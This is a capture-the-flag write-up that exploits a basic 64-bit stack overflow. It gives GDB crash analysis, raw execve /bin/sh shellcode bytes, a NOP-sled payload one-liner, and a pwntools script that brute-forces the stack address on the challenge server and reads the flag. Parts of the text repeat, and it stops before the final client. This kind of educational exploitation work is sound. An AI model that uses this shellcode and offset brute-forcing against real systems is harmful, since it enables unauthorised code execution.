This was a baby's first pwnable challenge inspired by the legendary post Smashing The Stack for Fun and Profit published by aleph1.
In this challenge we get a 64 bit binary and some source! It's rare to get source in CTF's, this was very generous:
Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:
Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.
We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.
If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).
Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.
For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/
Putting this all together, we get a long one-line exploit which looks like this:
At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.
Changing the offset manually a few times didn't end up being very useful. Time to automate this!
After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.
Running an ls on the remote showed a flag.txt, so we just cat that file.
The final client looks like this:
In this challenge we get a 64 bit binary and some source! It's rare to get source in CTF's, this was very generous:
#includeint main() { char yolo[0x400]; fgets(yolo, 0x539, stdin); }
Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
Let's try going through the first crash:
$ ulimit -c unlimited $ python -c 'print "A"*0x400 + "B"*16' | ./vuln [1] 16507 done python -c 'print "A"*0x400 + "B"*16' | 16508 segmentation fault (core dumped) ./vuln $ gdb vuln core ... ► 0x4005f6ret <0x4242424242424242> ...
Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.
We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.
If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).
pwndbg> disass main Dump of assembler code for function main: 0x00000000004005ca <+0>: push rbp 0x00000000004005cb <+1>: mov rbp,rsp 0x00000000004005ce <+4>: sub rsp,0x400 0x00000000004005d5 <+11>: mov rdx,QWORD PTR [rip+0x200a54] # 0x6010300x00000000004005dc <+18>: lea rax,[rbp-0x400] 0x00000000004005e3 <+25>: mov esi,0x539 0x00000000004005e8 <+30>: mov rdi,rax 0x00000000004005eb <+33>: call 0x4004d0 0x00000000004005f0 <+38>: mov eax,0x0 0x00000000004005f5 <+43>: leave 0x00000000004005f6 <+44>: ret End of assembler dump. pwndbg> b *0x00000000004005f5 Breakpoint 1 at 0x4005f5: file vuln.c, line 7. pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"') pwndbg> i f Stack level 0, frame at 0x7fffffffdfe0: rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141 called by frame at 0x7fffffffdfe8 source language c. Arglist at 0x7fffffffdfd0, args: Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0 Saved registers: rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8 pwndbg> x/gx 0x7fffffffdfd8 0x7fffffffdfd8: 0x4141414141414141 pwndbg> x/gx 0x7fffffffdfd0 0x7fffffffdfd0: 0x4242424242424242 pwndbg> p/x 0x7fffffffdfd8 - (0x400/2) $1 = 0x7fffffffddd8
Now we have the stack address we're going to target when setting saved RIP: 0x7fffffffddd8.
For x86-64 shellcode, there's a nice minimal one from our teammate @matir here - https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/
Putting this all together, we get a long one-line exploit which looks like this:
(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln
At this point all we have to do is point to the remote and see if it works!
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.
#!/usr/bin/env python import sys, time from pwn import * r = remote('35.205.206.137', 1996) OFFSET = 100 REMOTE = len(sys.argv) > 1 STACK_ADDR = 0x7fffffffddd8 SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" def main(): saved_eip = p64(STACK_ADDR + OFFSET) r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip) r.sendline("cat flag.txt") print r.recv(2000) if __name__ == "__main__": main()
Changing the offset manually a few times didn't end up being very useful. Time to automate this!
for x in xrange(0, 0xffff, 0x7f): try: saved_eip = p64(STACK_ADDR + x) r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip) r.sendline("whoami") print r.recv(2000) print 'FOUND! => {}'.format(hex(STACK_ADDR + x)) except: pass time.sleep(0.4)
After a few cycles this quickly showed the ctf user on the remote. It turned out to be +3000 from our local address.
Running an ls on the remote showed a flag.txt, so we just cat that file.
The final client looks like this: